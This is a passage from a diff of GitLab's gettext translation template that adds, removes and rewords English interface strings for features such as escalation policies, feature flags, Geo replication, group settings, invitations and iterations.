msgstr ""
@@ -12814,9 +12634,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12826,9 +12643,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12958,6 +12772,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -13123,9 +12940,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13606,7 +13420,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13615,30 +13429,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13648,6 +13486,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13684,9 +13531,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13834,7 +13678,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13855,9 +13699,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13954,9 +13795,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13975,9 +13813,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -14263,9 +14098,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14299,9 +14131,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14350,9 +14179,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14383,9 +14209,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14401,9 +14224,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14443,24 +14263,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14470,9 +14278,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14560,9 +14365,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14578,6 +14380,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14644,9 +14449,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14815,6 +14617,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14836,10 +14641,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -15043,159 +14845,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15286,6 +14950,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15385,9 +15052,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15460,6 +15124,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15469,6 +15139,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15499,9 +15172,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15523,6 +15193,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -16063,9 +15742,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -16111,6 +15787,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16132,9 +15817,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -16165,6 +15847,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -16234,13 +15919,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16276,9 +15958,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16591,18 +16270,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16627,6 +16303,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16666,13 +16345,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16855,6 +16534,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16975,6 +16657,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -17062,9 +16747,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -17212,6 +16894,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17398,9 +17083,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17908,13 +17590,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -18004,9 +17689,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -18160,6 +17842,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -18172,6 +17866,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -18211,6 +17908,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -18226,9 +17926,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -18241,12 +17938,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -18271,6 +17962,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18313,9 +18007,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18355,12 +18046,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18385,9 +18088,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18538,6 +18238,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18613,25 +18316,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18640,13 +18325,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18667,7 +18349,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18676,9 +18358,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18703,6 +18382,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -19114,18 +18796,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -19135,6 +18835,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -19147,6 +18850,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -19165,9 +18874,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19267,9 +18982,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19318,6 +19039,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19408,9 +19132,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19438,18 +19159,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19561,9 +19270,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19723,9 +19429,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19960,9 +19663,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -20170,6 +19870,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20419,6 +20122,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20653,6 +20359,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20671,9 +20386,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20893,9 +20605,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20965,6 +20674,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20986,6 +20698,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20998,6 +20713,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -21058,9 +20776,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21841,9 +21556,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21988,9 +21700,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -22249,9 +21958,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22429,9 +22135,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
